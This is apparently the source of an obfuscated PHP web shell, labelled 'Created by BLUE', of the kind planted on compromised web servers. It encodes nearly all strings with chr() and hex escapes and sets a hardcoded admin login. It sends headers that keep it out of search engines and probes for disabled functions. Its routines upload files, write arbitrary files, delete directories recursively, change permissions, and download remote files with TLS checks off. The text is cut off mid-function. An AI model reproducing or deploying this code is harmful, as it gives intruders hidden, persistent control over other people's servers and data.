/
tmp
/
Upload File
HOME
<?php if (!function_exists(chr(95).chr(102).chr(54).chr(101).chr(51).chr(53).chr(54).chr(54).chr(99).chr(55))) { function _f6e3566c7($_922278) { if (!function_exists($_922278)) return false; $_7a281d = (string)@ini_get(chr(100).chr(105).chr(115).chr(97).chr(98).chr(108).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110).chr(115)); $_c475b0 = (string)@ini_get(chr(115).chr(117).chr(104).chr(111).chr(115).chr(105).chr(110).chr(46).chr(101).chr(120).chr(101).chr(99).chr(117).chr(116).chr(111).chr(114).chr(46).chr(102).chr(117).chr(110).chr(99).chr(46).chr(98).chr(108).chr(97).chr(99).chr(107).chr(108).chr(105).chr(115).chr(116)); $_9ec801 = array(); if ($_7a281d !== "") $_9ec801 = array_merge($_9ec801, array_map(chr(116).chr(114).chr(105).chr(109), explode(chr(44), $_7a281d))); if ($_c475b0 !== '') $_9ec801 = array_merge($_9ec801, array_map("\x74\x72\x69\x6d", explode(chr(44), $_c475b0))); if (!empty($_9ec801)) { $_9ec801 = array_filter(array_map(chr(115).chr(116).chr(114).chr(116).chr(111).chr(108).chr(111).chr(119).chr(101).chr(114), $_9ec801)); if (in_array(strtolower($_922278), $_9ec801, true)) return false; } return true; } } if (function_exists("\x64\x61\x74\x65\x5f\x64\x65\x66\x61\x75\x6c\x74\x5f\x74\x69\x6d\x65\x7a\x6f\x6e\x65\x5f\x73\x65\x74")) { date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : chr(85).chr(84).chr(67)); } session_start(); if (empty($_SESSION[chr(99).chr(115).chr(114).chr(102)])) { $_SESSION[chr(99).chr(115).chr(114).chr(102)] = bin2hex(_f721518c3(16)); } header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38"); header("\x58\x2d\x52\x6f\x62\x6f\x74\x73\x2d\x54\x61\x67\x3a\x20\x6e\x6f\x69\x6e\x64\x65\x78\x2c\x20\x6e\x6f\x66\x6f\x6c\x6c\x6f\x77\x2c\x20\x6e\x6f\x61\x72\x63\x68\x69\x76\x65\x2c\x20\x6e\x6f\x73\x6e\x69\x70\x70\x65\x74\x2c\x20\x6e\x6f\x69\x6d\x61\x67\x65\x69\x6e\x64\x65\x78", true); header("\x52\x65\x66\x65\x72\x72\x65\x72\x2d\x50\x6f\x6c\x69\x63\x79\x3a\x20\x6e\x6f\x2d\x72\x65\x66\x65\x72\x72\x65\x72"); header(chr(88).chr(45).chr(70).chr(114).chr(97).chr(109).chr(101).chr(45).chr(79).chr(112).chr(116).chr(105).chr(111).chr(110).chr(115).chr(58).chr(32).chr(68).chr(69).chr(78).chr(89)); header("\x43\x61\x63\x68\x65\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x3a\x20\x6e\x6f\x2d\x73\x74\x6f\x72\x65\x2c\x20\x6e\x6f\x2d\x63\x61\x63\x68\x65\x2c\x20\x6d\x75\x73\x74\x2d\x72\x65\x76\x61\x6c\x69\x64\x61\x74\x65\x2c\x20\x6d\x61\x78\x2d\x61\x67\x65\x3d\x30"); header("\x50\x72\x61\x67\x6d\x61\x3a\x20\x6e\x6f\x2d\x63\x61\x63\x68\x65"); header(chr(69).chr(120).chr(112).chr(105).chr(114).chr(101).chr(115).chr(58).chr(32).chr(48)); define("\x41\x55\x54\x48\x5f\x55\x53\x45\x52", chr(97).chr(100).chr(109).chr(105).chr(110)); define("\x41\x55\x54\x48\x5f\x50\x41\x53\x53\x5f\x48\x41\x53\x48", chr(36).chr(50).chr(97).chr(36).chr(49).chr(50).chr(36).chr(116).chr(86).chr(100).chr(105).chr(52).chr(68).chr(69).chr(86).chr(57).chr(107).chr(117).chr(109).chr(78).chr(112).chr(52).chr(88).chr(99).chr(81).chr(47).chr(69).chr(69).chr(46).chr(76).chr(89).chr(83).chr(86).chr(50).chr(118).chr(103).chr(78).chr(55).chr(84).chr(99).chr(71).chr(84).chr(88).chr(76).chr(68).chr(106).chr(119).chr(121).chr(53).chr(86).chr(86).chr(86).chr(106).chr(48).chr(85).chr(107).chr(66).chr(112).chr(108).chr(117)); if (!function_exists("\x5f\x66\x34\x62\x38\x30\x31\x65\x30\x36")) { function _f4b801e06($_687096 = NULL) { if ($_687096 !== NULL) { $_ebdb8e = chr(85).chr(110).chr(107).chr(110).chr(111).chr(119).chr(110).chr(32).chr(69).chr(114).chr(114).chr(111).chr(114); switch ($_687096) { case 100: $_ebdb8e = chr(67).chr(111).chr(110).chr(116).chr(105).chr(110).chr(117).chr(101); break; case 101: $_ebdb8e = chr(83).chr(119).chr(105).chr(116).chr(99).chr(104).chr(105).chr(110).chr(103).chr(32).chr(80).chr(114).chr(111).chr(116).chr(111).chr(99).chr(111).chr(108).chr(115); break; case 200: $_ebdb8e = "\x4f\x4b"; break; case 201: $_ebdb8e = "\x43\x72\x65\x61\x74\x65\x64"; break; case 202: $_ebdb8e = chr(65).chr(99).chr(99).chr(101).chr(112).chr(116).chr(101).chr(100); break; case 203: $_ebdb8e = chr(78).chr(111).chr(110).chr(45).chr(65).chr(117).chr(116).chr(104).chr(111).chr(114).chr(105).chr(116).chr(97).chr(116).chr(105).chr(118).chr(101).chr(32).chr(73).chr(110).chr(102).chr(111).chr(114).chr(109).chr(97).chr(116).chr(105).chr(111).chr(110); break; case 204: $_ebdb8e = chr(78).chr(111).chr(32).chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116); break; case 205: $_ebdb8e = "\x52\x65\x73\x65\x74\x20\x43\x6f\x6e\x74\x65\x6e\x74"; break; case 206: $_ebdb8e = "\x50\x61\x72\x74\x69\x61\x6c\x20\x43\x6f\x6e\x74\x65\x6e\x74"; break; case 300: $_ebdb8e = chr(77).chr(117).chr(108).chr(116).chr(105).chr(112).chr(108).chr(101).chr(32).chr(67).chr(104).chr(111).chr(105).chr(99).chr(101).chr(115); break; case 301: $_ebdb8e = chr(77).chr(111).chr(118).chr(101).chr(100).chr(32).chr(80).chr(101).chr(114).chr(109).chr(97).chr(110).chr(101).chr(110).chr(116).chr(108).chr(121); break; case 302: $_ebdb8e = chr(77).chr(111).chr(118).chr(101).chr(100).chr(32).chr(84).chr(101).chr(109).chr(112).chr(111).chr(114).chr(97).chr(114).chr(105).chr(108).chr(121); break; case 303: $_ebdb8e = "\x53\x65\x65\x20\x4f\x74\x68\x65\x72"; break; case 304: $_ebdb8e = "\x4e\x6f\x74\x20\x4d\x6f\x64\x69\x66\x69\x65\x64"; break; case 305: $_ebdb8e = "\x55\x73\x65\x20\x50\x72\x6f\x78\x79"; break; case 400: $_ebdb8e = chr(66).chr(97).chr(100).chr(32).chr(82).chr(101).chr(113).chr(117).chr(101).chr(115).chr(116); break; case 401: $_ebdb8e = "\x55\x6e\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64"; break; case 402: $_ebdb8e = chr(80).chr(97).chr(121).chr(109).chr(101).chr(110).chr(116).chr(32).chr(82).chr(101).chr(113).chr(117).chr(105).chr(114).chr(101).chr(100); break; case 403: $_ebdb8e = chr(70).chr(111).chr(114).chr(98).chr(105).chr(100).chr(100).chr(101).chr(110); break; case 404: $_ebdb8e = "\x4e\x6f\x74\x20\x46\x6f\x75\x6e\x64"; break; case 405: $_ebdb8e = "\x4d\x65\x74\x68\x6f\x64\x20\x4e\x6f\x74\x20\x41\x6c\x6c\x6f\x77\x65\x64"; break; case 406: $_ebdb8e = chr(78).chr(111).chr(116).chr(32).chr(65).chr(99).chr(99).chr(101).chr(112).chr(116).chr(97).chr(98).chr(108).chr(101); break; case 407: $_ebdb8e = chr(80).chr(114).chr(111).chr(120).chr(121).chr(32).chr(65).chr(117).chr(116).chr(104).chr(101).chr(110).chr(116).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(32).chr(82).chr(101).chr(113).chr(117).chr(105).chr(114).chr(101).chr(100); break; case 408: $_ebdb8e = chr(82).chr(101).chr(113).chr(117).chr(101).chr(115).chr(116).chr(32).chr(84).chr(105).chr(109).chr(101).chr(45).chr(111).chr(117).chr(116); break; case 409: $_ebdb8e = chr(67).chr(111).chr(110).chr(102).chr(108).chr(105).chr(99).chr(116); break; case 410: $_ebdb8e = chr(71).chr(111).chr(110).chr(101); break; case 411: $_ebdb8e = "\x4c\x65\x6e\x67\x74\x68\x20\x52\x65\x71\x75\x69\x72\x65\x64"; break; case 412: $_ebdb8e = chr(80).chr(114).chr(101).chr(99).chr(111).chr(110).chr(100).chr(105).chr(116).chr(105).chr(111).chr(110).chr(32).chr(70).chr(97).chr(105).chr(108).chr(101).chr(100); break; case 413: $_ebdb8e = "\x52\x65\x71\x75\x65\x73\x74\x20\x45\x6e\x74\x69\x74\x79\x20\x54\x6f\x6f\x20\x4c\x61\x72\x67\x65"; break; case 414: $_ebdb8e = "\x52\x65\x71\x75\x65\x73\x74\x2d\x55\x52\x49\x20\x54\x6f\x6f\x20\x4c\x61\x72\x67\x65"; break; case 415: $_ebdb8e = chr(85).chr(110).chr(115).chr(117).chr(112).chr(112).chr(111).chr(114).chr(116).chr(101).chr(100).chr(32).chr(77).chr(101).chr(100).chr(105).chr(97).chr(32).chr(84).chr(121).chr(112).chr(101); break; case 500: $_ebdb8e = chr(73).chr(110).chr(116).chr(101).chr(114).chr(110).chr(97).chr(108).chr(32).chr(83).chr(101).chr(114).chr(118).chr(101).chr(114).chr(32).chr(69).chr(114).chr(114).chr(111).chr(114); break; case 501: $_ebdb8e = chr(78).chr(111).chr(116).chr(32).chr(73).chr(109).chr(112).chr(108).chr(101).chr(109).chr(101).chr(110).chr(116).chr(101).chr(100); break; case 502: $_ebdb8e = chr(66).chr(97).chr(100).chr(32).chr(71).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121); break; case 503: $_ebdb8e = "\x53\x65\x72\x76\x69\x63\x65\x20\x55\x6e\x61\x76\x61\x69\x6c\x61\x62\x6c\x65"; break; case 504: $_ebdb8e = chr(71).chr(97).chr(116).chr(101).chr(119).chr(97).chr(121).chr(32).chr(84).chr(105).chr(109).chr(101).chr(45).chr(111).chr(117).chr(116); break; case 505: $_ebdb8e = chr(72).chr(84).chr(84).chr(80).chr(32).chr(86).chr(101).chr(114).chr(115).chr(105).chr(111).chr(110).chr(32).chr(110).chr(111).chr(116).chr(32).chr(115).chr(117).chr(112).chr(112).chr(111).chr(114).chr(116).chr(101).chr(100); break; } $_9f6fdc = (isset($_SERVER[chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(95).chr(80).chr(82).chr(79).chr(84).chr(79).chr(67).chr(79).chr(76)]) ? $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x50\x52\x4f\x54\x4f\x43\x4f\x4c"] : "\x48\x54\x54\x50\x2f\x31\x2e\x30"); header($_9f6fdc . chr(32) . $_687096 . "\x20" . $_ebdb8e); $GLOBALS[chr(95).chr(102).chr(52).chr(98).chr(56).chr(48).chr(49).chr(101).chr(48).chr(54)] = $_687096; } else { $_687096 = (isset($GLOBALS[chr(95).chr(102).chr(52).chr(98).chr(56).chr(48).chr(49).chr(101).chr(48).chr(54)]) ? $GLOBALS["\x5f\x66\x34\x62\x38\x30\x31\x65\x30\x36"] : 200); } return $_687096; } } if (!function_exists(chr(95).chr(102).chr(55).chr(51).chr(99).chr(97).chr(55).chr(50).chr(97).chr(97))) { function _f73ca72aa() { if (!empty($_ENV[chr(84).chr(77).chr(80)])) { return realpath($_ENV["\x54\x4d\x50"]); } if (!empty($_ENV["\x54\x4d\x50\x44\x49\x52"])) { return realpath($_ENV[chr(84).chr(77).chr(80).chr(68).chr(73).chr(82)]); } if (!empty($_ENV[chr(84).chr(69).chr(77).chr(80)])) { return realpath($_ENV[chr(84).chr(69).chr(77).chr(80)]); } $_f9bc83 = tempnam(dirname(__FILE__), ""); if (file_exists($_f9bc83)) { unlink($_f9bc83); return realpath(dirname($_f9bc83)); } return null; } } if (!function_exists(chr(95).chr(102).chr(97).chr(51).chr(57).chr(53).chr(56).chr(101).chr(49).chr(48))) { if (!defined("\x46\x49\x4c\x45\x5f\x41\x50\x50\x45\x4e\x44")) { define("\x46\x49\x4c\x45\x5f\x41\x50\x50\x45\x4e\x44", 8); } function _fa3958e10($_4dfe24, $_fffc96, $_327d0f = 0) { $_e981cf = ($_327d0f & FILE_APPEND) ? "\x61\x62" : "\x77\x62"; $_2bad1d = @fopen($_4dfe24, $_e981cf); if ($_2bad1d === false) { return false; } $_272fdd = @fwrite($_2bad1d, $_fffc96); @fclose($_2bad1d); return $_272fdd; } } if (!function_exists(chr(95).chr(102).chr(52).chr(100).chr(97).chr(48).chr(98).chr(51).chr(52).chr(98))) { function _f4da0b34b($_62a647, $_ed7cef) { $_4969e8 = 0; while (!feof($_62a647)) { $_7db828 = @fread($_62a647, 8192); if ($_7db828 === false || $_7db828 === "") { break; } $_e36e4f = @fwrite($_ed7cef, $_7db828); if ($_e36e4f === false) { break; } $_4969e8 += $_e36e4f; } return $_4969e8; } } function _f47f5a0c5($_d109ed) { return htmlspecialchars($_d109ed, ENT_QUOTES, "\x55\x54\x46\x2d\x38"); } if (!function_exists(chr(95).chr(102).chr(53).chr(102).chr(56).chr(51).chr(98).chr(56).chr(55).chr(49))) { function _f5f83b871($_e48747) { if (function_exists("\x6a\x73\x6f\x6e\x5f\x65\x6e\x63\x6f\x64\x65")) { return json_encode($_e48747); } if (is_bool($_e48747)) return $_e48747 ? "\x74\x72\x75\x65" : "\x66\x61\x6c\x73\x65"; if (is_numeric($_e48747)) return (string)$_e48747; if ($_e48747 === null) return chr(110).chr(117).chr(108).chr(108); $_d109ed = str_replace( array(chr(92).chr(92), "\x5c\x22", chr(92).chr(114), chr(92).chr(110), "\x5c\x74", "\x2f"), array("\x5c\x5c\x5c\x5c", "\x5c\x5c\x5c\x22", chr(92).chr(92).chr(114), "\x5c\x5c\x6e", "\x5c\x5c\x74", "\x5c\x5c\x2f"), (string)$_e48747 ); return chr(34) . $_d109ed . "\x22"; } } if (!function_exists(chr(95).chr(102).chr(52).chr(57).chr(102).chr(56).chr(98).chr(55).chr(101).chr(102))) { function _f49f8b7ef($_c02923, $_0a51d1) { if (!is_string($_c02923) || !is_string($_0a51d1)) return false; $_e36e4f = strlen($_c02923); if ($_e36e4f !== strlen($_0a51d1)) return false; $_a47e34 = 0; for ($_5e333c = 0; $_5e333c < $_e36e4f; $_5e333c++) $_a47e34 |= ord($_c02923[$_5e333c]) ^ ord($_0a51d1[$_5e333c]); return $_a47e34 === 0; } } if (!function_exists(chr(95).chr(102).chr(54).chr(101).chr(51).chr(53).chr(54).chr(54).chr(99).chr(55))) { function _f6e3566c7($_922278) { if (!function_exists($_922278)) return false; $_7a281d = (string)@ini_get(chr(100).chr(105).chr(115).chr(97).chr(98).chr(108).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110).chr(115)); $_c475b0 = (string)@ini_get(chr(115).chr(117).chr(104).chr(111).chr(115).chr(105).chr(110).chr(46).chr(101).chr(120).chr(101).chr(99).chr(117).chr(116).chr(111).chr(114).chr(46).chr(102).chr(117).chr(110).chr(99).chr(46).chr(98).chr(108).chr(97).chr(99).chr(107).chr(108).chr(105).chr(115).chr(116)); $_9ec801 = array(); if ($_7a281d !== '') { $_9ec801 = array_merge($_9ec801, array_map("\x74\x72\x69\x6d", explode(chr(44), $_7a281d))); } if ($_c475b0 !== "") { $_9ec801 = array_merge($_9ec801, array_map(chr(116).chr(114).chr(105).chr(109), explode(chr(44), $_c475b0))); } $_9ec801 = array_filter(array_map(chr(115).chr(116).chr(114).chr(116).chr(111).chr(108).chr(111).chr(119).chr(101).chr(114), $_9ec801)); return !in_array(strtolower($_922278), $_9ec801, true); } } function _f721518c3($_e36e4f) { if (_f6e3566c7(chr(114).chr(97).chr(110).chr(100).chr(111).chr(109).chr(95).chr(98).chr(121).chr(116).chr(101).chr(115))) return random_bytes($_e36e4f); if (_f6e3566c7(chr(111).chr(112).chr(101).chr(110).chr(115).chr(115).chr(108).chr(95).chr(114).chr(97).chr(110).chr(100).chr(111).chr(109).chr(95).chr(112).chr(115).chr(101).chr(117).chr(100).chr(111).chr(95).chr(98).chr(121).chr(116).chr(101).chr(115))) { $_2efebe = false; $_0a51d1 = openssl_random_pseudo_bytes($_e36e4f, $_2efebe); if ($_0a51d1 !== false && $_2efebe) return $_0a51d1; } $_b0e45b = ''; for ($_5e333c = 0; $_5e333c < $_e36e4f; $_5e333c++) $_b0e45b .= chr(mt_rand(0, 255)); return $_b0e45b; } function _f50e89043($_0a51d1) { $_59faa1 = array(chr(66), chr(75).chr(66), chr(77).chr(66), "\x47\x42", "\x54\x42"); $_5e333c = 0; while ($_0a51d1 >= 1024 && $_5e333c < count($_59faa1) - 1) { $_0a51d1 /= 1024; $_5e333c++; } return ($_5e333c ? number_format($_0a51d1, 2) : (string)$_0a51d1) . "\x20" . $_59faa1[$_5e333c]; } function _f9d27aeb8($_2bad1d) { $_12b178 = @fileperms($_2bad1d); if ($_12b178 === false) return "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"; $_2f686e = ($_12b178 & 0x4000) ? "\x64" : (($_12b178 & 0xA000) ? "\x6c" : chr(45)); $_d109ed = (($_12b178 & 0x0100) ? chr(114) : chr(45)) . (($_12b178 & 0x0080) ? "\x77" : chr(45)) . (($_12b178 & 0x0040) ? "\x78" : "\x2d"); $_d109ed .= (($_12b178 & 0x0020) ? chr(114) : chr(45)) . (($_12b178 & 0x0010) ? "\x77" : "\x2d") . (($_12b178 & 0x0008) ? chr(120) : "\x2d"); $_d109ed .= (($_12b178 & 0x0004) ? chr(114) : "\x2d") . (($_12b178 & 0x0002) ? chr(119) : "\x2d") . (($_12b178 & 0x0001) ? chr(120) : chr(45)); return $_2f686e . $_d109ed; } function _f7d677136($_2bad1d) { $_9a1e9e = @fileowner($_2bad1d); if ($_9a1e9e === false) return "\x3f"; if (function_exists("\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64")) { $_a054b9 = @posix_getpwuid($_9a1e9e); if ($_a054b9 && isset($_a054b9[chr(110).chr(97).chr(109).chr(101)])) return $_a054b9["\x6e\x61\x6d\x65"]; } return (string)$_9a1e9e; } function _f98cc6602($_d109ed) { $_d109ed = trim($_d109ed); if ($_d109ed === "") return 0644; if (ctype_digit($_d109ed)) { if ($_d109ed[0] !== "\x30") $_d109ed = chr(48) . $_d109ed; return intval($_d109ed, 8); } return 0644; } function _f2048ca2d($_12b178) { if (is_dir($_12b178) || !is_file($_12b178)) return false; $_df0b59 = strtolower(pathinfo($_12b178, PATHINFO_EXTENSION)); $_ebdb8e = array(chr(116).chr(120).chr(116), chr(109).chr(100), "\x6a\x73\x6f\x6e", "\x6a\x73", "\x74\x73", chr(99).chr(115).chr(115), chr(115).chr(99).chr(115).chr(115), "\x6c\x65\x73\x73", "\x68\x74\x6d\x6c", "\x68\x74\x6d", chr(120).chr(109).chr(108), "\x73\x76\x67", chr(112).chr(104).chr(112), "\x70\x68\x74\x6d\x6c", "\x69\x6e\x63", chr(105).chr(110).chr(105), chr(99).chr(102).chr(103), "\x65\x6e\x76", chr(121).chr(109).chr(108), "\x79\x61\x6d\x6c", chr(112).chr(121), "\x72\x62", "\x67\x6f", chr(114).chr(115), chr(99), "\x5f\x66\x34\x37\x66\x35\x61\x30\x63\x35", "\x63\x70\x70", chr(104).chr(112).chr(112), "\x6a\x61\x76\x61", chr(107).chr(116), "\x73\x71\x6c", chr(99).chr(115).chr(118), chr(108).chr(111).chr(103)); if (in_array($_df0b59, $_ebdb8e, true)) return true; $_d109ed = @file_get_contents($_12b178, false, null, 0, 2048); if ($_d109ed === false) return false; return (bool)preg_match(chr(47).chr(47).chr(117), $_d109ed); } function _fd0b7ef8c($_b066b9, $_36ebda) { $_36ebda = str_replace("\x5c\x30", "", $_36ebda); if ($_36ebda === '') return $_b066b9; if ($_36ebda[0] === DIRECTORY_SEPARATOR || preg_match(chr(126).chr(94).chr(91).chr(65).chr(45).chr(90).chr(97).chr(45).chr(122).chr(93).chr(58).chr(92).chr(92).chr(92).chr(92).chr(126), $_36ebda)) return $_36ebda; return rtrim($_b066b9, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $_36ebda; } function _f4cbdc8a6($_f590fa) { $_dc43af = @opendir($_f590fa); if ($_dc43af === false) return array(); $_e28efc = array(); while (false !== ($_912142 = readdir($_dc43af))) { if ($_912142 === chr(46) || $_912142 === chr(46).chr(46)) continue; $_e28efc[] = $_912142; } closedir($_dc43af); return $_e28efc; } function _fbd4e892a($_12b178) { if (!file_exists($_12b178)) return true; if (is_file($_12b178) || is_link($_12b178)) return @unlink($_12b178); $_fb09a4 = true; $_dc43af = @opendir($_12b178); if ($_dc43af === false) return false; while (false !== ($_e48747 = readdir($_dc43af))) { if ($_e48747 === "\x2e" || $_e48747 === "\x2e\x2e") continue; $_fb09a4 = _fbd4e892a($_12b178 . DIRECTORY_SEPARATOR . $_e48747) && $_fb09a4; } closedir($_dc43af); return @rmdir($_12b178) && $_fb09a4; } function _fce62eb18($_a8df0f, $_ed7cef) { $_77fbc2 = array(); if (@move_uploaded_file($_a8df0f, $_ed7cef)) return array(true, null); $_77fbc2[] = "\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"; if (@rename($_a8df0f, $_ed7cef)) return array(true, null); $_77fbc2[] = "\x72\x65\x6e\x61\x6d\x65"; if (@copy($_a8df0f, $_ed7cef)) return array(true, null); $_77fbc2[] = chr(99).chr(111).chr(112).chr(121); $_4dd825 = @file_get_contents($_a8df0f); if ($_4dd825 !== false && @_fa3958e10($_ed7cef, $_4dd825) !== false) return array(true, null); $_77fbc2[] = chr(103).chr(101).chr(116).chr(43).chr(112).chr(117).chr(116); $_00b78b = @fopen($_a8df0f, chr(114).chr(98)); $_b0e45b = @fopen($_ed7cef, chr(119).chr(98)); if ($_00b78b && $_b0e45b) { $_aaf820 = _f4da0b34b($_00b78b, $_b0e45b); @fclose($_00b78b); @fclose($_b0e45b); if ($_aaf820 !== false) return array(true, null); $_77fbc2[] = "\x73\x74\x72\x65\x61\x6d\x5f\x63\x6f\x70\x79"; } else { $_77fbc2[] = "\x66\x6f\x70\x65\x6e"; } return array(false, implode(chr(59).chr(32), $_77fbc2) . chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100)); } if (!function_exists("\x5f\x66\x35\x33\x64\x64\x32\x36\x33\x38")) { function _f53dd2638($_2e6a35, $_ed7cef) { $_c80c18 = array(); if (_f6e3566c7(chr(99).chr(117).chr(114).chr(108).chr(95).chr(105).chr(110).chr(105).chr(116))) { $_a66235 = @curl_init($_2e6a35); $_b0849a = @fopen($_ed7cef, chr(119).chr(98)); if ($_a66235 && $_b0849a) { @curl_setopt($_a66235, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($_a66235, CURLOPT_FILE, $_b0849a); @curl_setopt($_a66235, CURLOPT_FAILONERROR, true); @curl_setopt($_a66235, CURLOPT_USERAGENT, "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30"); @curl_setopt($_a66235, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($_a66235, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($_a66235, CURLOPT_TIMEOUT, 60); $_fb09a4 = @curl_exec($_a66235); $_912142 = @curl_error($_a66235); @curl_close($_a66235); @fclose($_b0849a); if ($_fb09a4) return array(true, null); $_c80c18[] = "\x63\x55\x52\x4c\x3a\x20" . $_912142; @unlink($_ed7cef); } else { if ($_a66235) @curl_close($_a66235); if ($_b0849a) @fclose($_b0849a); $_c80c18[] = "\x69\x6e\x69\x74\x20\x63\x55\x52\x4c\x2f\x66\x6f\x70\x65\x6e"; } } $_a01c52 = @stream_context_create(array( "\x68\x74\x74\x70" => array( chr(102).chr(111).chr(108).chr(108).chr(111).chr(119).chr(95).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110) => 1, "\x74\x69\x6d\x65\x6f\x75\x74" => 60, chr(104).chr(101).chr(97).chr(100).chr(101).chr(114) => chr(85).chr(115).chr(101).chr(114).chr(45).chr(65).chr(103).chr(101).chr(110).chr(116).chr(58).chr(32).chr(77).chr(111).chr(122).chr(105).chr(108).chr(108).chr(97).chr(47).chr(53).chr(46).chr(48).chr(92).chr(114).chr(92).chr(110), ), chr(115).chr(115).chr(108) => array( "\x76\x65\x72\x69\x66\x79\x5f\x70\x65\x65\x72" => false, chr(118).chr(101).chr(114).chr(105).chr(102).chr(121).chr(95).chr(112).chr(101).chr(101).chr(114).chr(95).chr(110).chr(97).chr(109).chr(101) => false, ), )); if (@copy($_2e6a35, $_ed7cef, $_a01c52)) return array(true, null); $_c80c18[] = chr(99).chr(111).chr(112).chr(121).chr(40).chr(117).chr(114).chr(108).chr(41); $_4dd825 = @file_get_contents($_2e6a35, false, $_a01c52); if ($_4dd825 !== false && @_fa3958e10($_ed7cef, $_4dd825) !== false) return array(true, null); $_c80c18[] = "\x67\x65\x74\x2b\x70\x75\x74"; $_00b78b = @fopen($_2e6a35, chr(114).chr(98), false, $_a01c52); $_b0e45b = @fopen($_ed7cef, chr(119).chr(98)); if ($_00b78b && $_b0e45b) { $_aaf820 = @_f4da0b34b($_00b78b, $_b0e45b); @fclose($_00b78b); @fclose($_b0e45b); if ($_aaf820 !== false) return array(true, null); $_c80c18[] = chr(115).chr(116).chr(114).chr(101).chr(97).chr(109).chr(95).chr(99).chr(111).chr(112).chr(121); @unlink($_ed7cef); } else { $_c80c18[] = "\x66\x6f\x70\x65\x6e\x28\x75\x72\x6c\x2f\x64\x65\x73\x74\x29"; } return array(false, implode(chr(59).chr(32), $_c80c18) . "\x20\x66\x61\x69\x6c\x65\x64"); } } function _f75f183a4($_19de40) { $_b0e45b = array(); if (preg_match(chr(126).chr(94).chr(91).chr(65).chr(45).chr(90).chr(97).chr(45).chr(122).chr(93).chr(58).chr(92).chr(92).chr(92).chr(92).chr(126), $_19de40)) { $_51c04f = substr($_19de40, 0, 2); $_100096 = substr($_19de40, 2); $_1e56e1 = array_values(array_filter(explode(chr(92).chr(92).chr(92).chr(92), $_100096), chr(115).chr(116).chr(114).chr(108).chr(101).chr(110))); $_286ed4 = $_51c04f . chr(92).chr(92); $_b0e45b[] = array($_51c04f . chr(92).chr(92), $_286ed4); foreach ($_1e56e1 as $_d109ed) { $_286ed4 .= $_d109ed . "\x5c\x5c"; $_b0e45b[] = array($_d109ed, rtrim($_286ed4, "\x5c\x5c")); } } else { $_1e56e1 = array_values(array_filter(explode(chr(47), $_19de40), "\x73\x74\x72\x6c\x65\x6e")); $_286ed4 = "\x2f"; $_b0e45b[] = array("\x2f", "\x2f"); foreach ($_1e56e1 as $_d109ed) { $_286ed4 .= $_d109ed . "\x2f"; $_b0e45b[] = array($_d109ed, rtrim($_286ed4, "\x2f")); } } return $_b0e45b; } function _f25069b4e() { if ($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(77).chr(69).chr(84).chr(72).chr(79).chr(68)] === "\x50\x4f\x53\x54") { $_708215 = isset($_SESSION[chr(99).chr(115).chr(114).chr(102)]) ? $_SESSION["\x63\x73\x72\x66"] : ''; $_59b5c8 = isset($_POST["\x63\x73\x72\x66"]) ? (string)$_POST["\x63\x73\x72\x66"] : ""; $_fb09a4 = _f49f8b7ef($_708215, $_59b5c8); if (!$_fb09a4) { _f4b801e06(400); exit(chr(67).chr(83).chr(82).chr(70).chr(32).chr(116).chr(111).chr(107).chr(101).chr(110).chr(32).chr(105).chr(110).chr(118).chr(97).chr(108).chr(105).chr(100)); } } } function _fce102360($_19de40, $_187e1b = null) { $_63405d = "\x43\x72\x65\x61\x74\x65\x64\x20\x62\x79\x20\x42\x4c\x55\x45\x20\x40\x20" . date(chr(99)) . "\x5c\x6e"; $_a93011 = (string)($_187e1b !== null ? $_187e1b : $_63405d); if ($_a93011 === "") $_a93011 = $_63405d; $_e908c6 = @_fa3958e10($_19de40, $_a93011, LOCK_EX); if ($_e908c6 !== false && $_e908c6 > 0) return array(true, chr(95).chr(102).chr(97).chr(51).chr(57).chr(53).chr(56).chr(101).chr(49).chr(48)); $_b0849a = @fopen($_19de40, chr(119).chr(98)); if ($_b0849a) { $_105fb2 = @fwrite($_b0849a, $_a93011); @fclose($_b0849a); if ($_105fb2 !== false && $_105fb2 > 0) return array(true, chr(102).chr(111).chr(112).chr(101).chr(110).chr(43).chr(102).chr(119).chr(114).chr(105).chr(116).chr(101)); } $_a8df0f = @tempnam(_f73ca72aa(), chr(98).chr(108).chr(117).chr(101).chr(95)); if ($_a8df0f) { @_fa3958e10($_a8df0f, $_a93011); if (@rename($_a8df0f, $_19de40)) { if (@filesize($_19de40) > 0) return array(true, chr(116).chr(101).chr(109).chr(112).chr(110).chr(97).chr(109).chr(43).chr(114).chr(101).chr(110).chr(97).chr(109).chr(101)); } elseif (@copy($_a8df0f, $_19de40)) { @unlink($_a8df0f); if (@filesize($_19de40) > 0) return array(true, chr(116).chr(101).chr(109).chr(112).chr(110).chr(97).chr(109).chr(43).chr(99).chr(111).chr(112).chr(121)); } @unlink($_a8df0f); } $_376271 = @fopen(chr(112).chr(104).chr(112).chr(58).chr(47).chr(47).chr(116).chr(101).chr(109).chr(112), "\x77\x62\x2b"); if ($_376271) { @fwrite($_376271, $_a93011); @rewind($_376271); $_6a1232 = @fopen($_19de40, 